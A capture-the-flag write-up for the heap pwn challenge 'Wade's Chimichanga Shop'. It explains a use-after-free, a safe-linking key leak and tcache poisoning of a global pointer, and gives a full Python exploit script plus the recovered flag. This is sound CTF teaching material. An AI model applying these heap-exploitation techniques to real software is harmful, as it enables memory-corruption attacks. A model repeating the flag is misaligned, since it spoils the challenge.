Wades Chimichanga Shop
Wade’s Chimichanga Shop (Heap / UAF / Tcache Poisoning) Writeup#
Challenge Info#
- Category: Pwn
- Given files:
chall,libc.so.6 - Remote:
nc chals1.apoorvctf.xyz 6001 - Flag format:
apoorvctf{...}
Recovered flag:
apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}
1) Initial Triage#
Files#
ls -la
file chall
strings -n 5 challbashImportant hints from strings:
chimichanga_count"There's a very special counter somewhere in here."- check function in binary:
did_i_pass - success path compares a value to
0xcafebabe
Symbols and disassembly#
nm -n chall
objdump -d -M intel challbashKey global symbols:
chimichanga_countat0x4040c0ordersarray at0x4040e0
2) Reverse Engineering Findings#
Menu functions#
new_order()- finds first empty slot in
orders[0..5] - allocates
malloc(0x28) memset(chunk, 0, 0x28)
- finds first empty slot in
cancel_order()free(orders[idx])- BUG: does not set
orders[idx] = NULL - gives a dangling pointer (UAF)
inspect_order()- if slot non-null, prints 0x28 bytes with
write(1, orders[idx], 0x28) - leaks freed chunk metadata
- if slot non-null, prints 0x28 bytes with
modify_order()- reads up to 0x28 bytes into
orders[idx] - allows writing into freed chunks (UAF write)
- reads up to 0x28 bytes into
Flag gate logic (did_i_pass)#
Relevant logic:
if (chimichanga_count != NULL && *(int*)chimichanga_count == 0xcafebabe) {
// print success text and open/read /flag.txt
} else {
puts("\"Wrong number, Francis. Walk it off.\"");
}cSo objective is clear:
- make
chimichanga_countpoint somewhere we can write, - and ensure first 4 bytes at that pointed memory are
0xcafebabe.
3) Heap Primitive Analysis#
Chunk size: user allocation is 0x28, actual chunk size in tcache bin is 0x30.
With glibc safe-linking, tcache fd is encoded:
stored_fd = next ^ (chunk_addr >> 12)
If we free chunk A and inspect A:
- first qword leaks
stored_fd
If we also know a chunk where next = NULL, then for that chunk:
stored_fd = key = (chunk_addr >> 12)
We use this by:
- allocate 2 chunks: slot0, slot1
- free slot1 first (its next = NULL)
- free slot0 second (its next = slot1)
- inspect freed slot1 to directly recover
key - overwrite freed slot0 fd with
target ^ key
Target chosen: 0x4040c0 (address of global pointer chimichanga_count).
Then allocations:
- malloc #1 pops slot0
- malloc #2 returns fake chunk at
0x4040c0
So orders[3] = 0x4040c0 (in observed run), and modify slot 3 writes directly into globals.
Write payload at 0x4040c0:
- qword @
0x4040c0=0x4040c8(new pointer value) - dword @
0x4040c8=0xcafebabe
Now did_i_pass condition succeeds.
4) End-to-End Exploit Procedure (Manual)#
1(new) -> slot01(new) -> slot12cancel slot12cancel slot03inspect slot1 -> read 0x28 bytes, extract first 8 askey4modify slot0 -> writep64(0x4040c0 ^ key)1new (consumes slot0)1new (returns fake chunk at0x4040c0)4modify slot3 -> writep64(0x4040c8) + p32(0xcafebabe)5claim prize
Output includes flag.
5) Full Exploit Script#
#!/usr/bin/env python3
import socket
import select
import struct
import time
import re
HOST = "chals1.apoorvctf.xyz"
PORT = 6001
def recv_some(sock, timeout=0.2):
out = b""
end = time.time() + timeout
while time.time() < end:
r, _, _ = select.select([sock], [], [], 0.05)
if r:
d = sock.recv(4096)
if not d:
break
out += d
return out
class Tube:
def __init__(self, sock):
self.s = sock
self.buf = b""
def ru(self, token, timeout=6):
end = time.time() + timeout
while token not in self.buf and time.time() < end:
self.buf += recv_some(self.s, 0.2)
if token not in self.buf:
raise RuntimeError(f"timeout waiting for {token!r}")
i = self.buf.index(token) + len(token)
out = self.buf[:i]
self.buf = self.buf[i:]
return out
def rn(self, n, timeout=3):
end = time.time() + timeout
while len(self.buf) < n and time.time() < end:
self.buf += recv_some(self.s, 0.2)
out = self.buf[:n]
self.buf = self.buf[n:]
return out
def sl(self, x):
if isinstance(x, str):
x = x.encode()
self.s.sendall(x + b"\n")
def sd(self, b):
self.s.sendall(b)
def recvall_brief(self, timeout=2):
self.buf += recv_some(self.s, timeout)
out = self.buf
self.buf = b""
return out
def main():
s = socket.create_connection((HOST, PORT), timeout=8)
t = Tube(s)
# initial menu
t.ru(b"> ")
# 1) allocate slot0 and slot1
t.sl("1")
t.ru(b"> ")
t.sl("1")
t.ru(b"> ")
# 2) free slot1 then slot0 (tcache list: slot0 -> slot1)
t.sl("2")
t.ru(b"Slot: ")
t.sl("1")
t.ru(b"> ")
t.sl("2")
t.ru(b"Slot: ")
t.sl("0")
t.ru(b"> ")
# 3) leak key from slot1 (its next is NULL, so first qword is key)
t.sl("3")
t.ru(b"Slot: ")
t.sl("1")
t.ru(b'off."\n')
leak = t.rn(0x28, 3)
key = struct.unpack("<Q", leak[:8])[0]
t.ru(b"> ")
# 4) poison freed slot0 fd -> target 0x4040c0
target = 0x4040C0
poisoned_fd = target ^ key
t.sl("4")
t.ru(b"Slot: ")
t.sl("0")
t.ru(b"New filling: ")
t.sd(struct.pack("<Q", poisoned_fd) + b"\n")
t.ru(b"> ")
# 5) two allocations: first gets slot0, second gets fake chunk at 0x4040c0
t.sl("1")
t.ru(b"> ")
t.sl("1")
t.ru(b"> ")
# 6) slot3 now points to 0x4040c0 in this flow; overwrite globals
# write:
# [0x4040c0] = 0x4040c8
# [0x4040c8] = 0xcafebabe
t.sl("4")
t.ru(b"Slot: ")
t.sl("3")
t.ru(b"New filling: ")
payload = struct.pack("<Q", 0x4040C8) + struct.pack("<I", 0xCAFEBABE)
t.sd(payload + b"\n")
t.ru(b"> ")
# 7) trigger flag path
t.sl("5")
out = t.recvall_brief(3).decode("latin-1", "ignore")
print(out)
m = re.search(r"apoorvctf\{[^\r\n]*\}", out)
if m:
print("FLAG:", m.group(0))
else:
print("Flag not found in output")
s.close()
if __name__ == "__main__":
main()python6) Why This Works#
- UAF read/write exists because freed pointers stay in
orders[]. inspectleaks tcache metadata from freed chunks.- safe-linking can still be bypassed when key is leaked (
next=NULLchunk gives key directly). - poisoned tcache returns an arbitrary writable address as a future malloc result.
- we redirect writes into global memory and satisfy the exact flag gate check.
7) Repro Commands#
Run exploit:
python3 exploit.pybashExpected output contains:
Wade slow-claps from across the room.
"...Okay. I'll admit it. That was impressive."
apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}text8) Final Flag#
apoorvctf{w4d3_4ppr0v3s_0f_y0ur_h34p_sk1llz}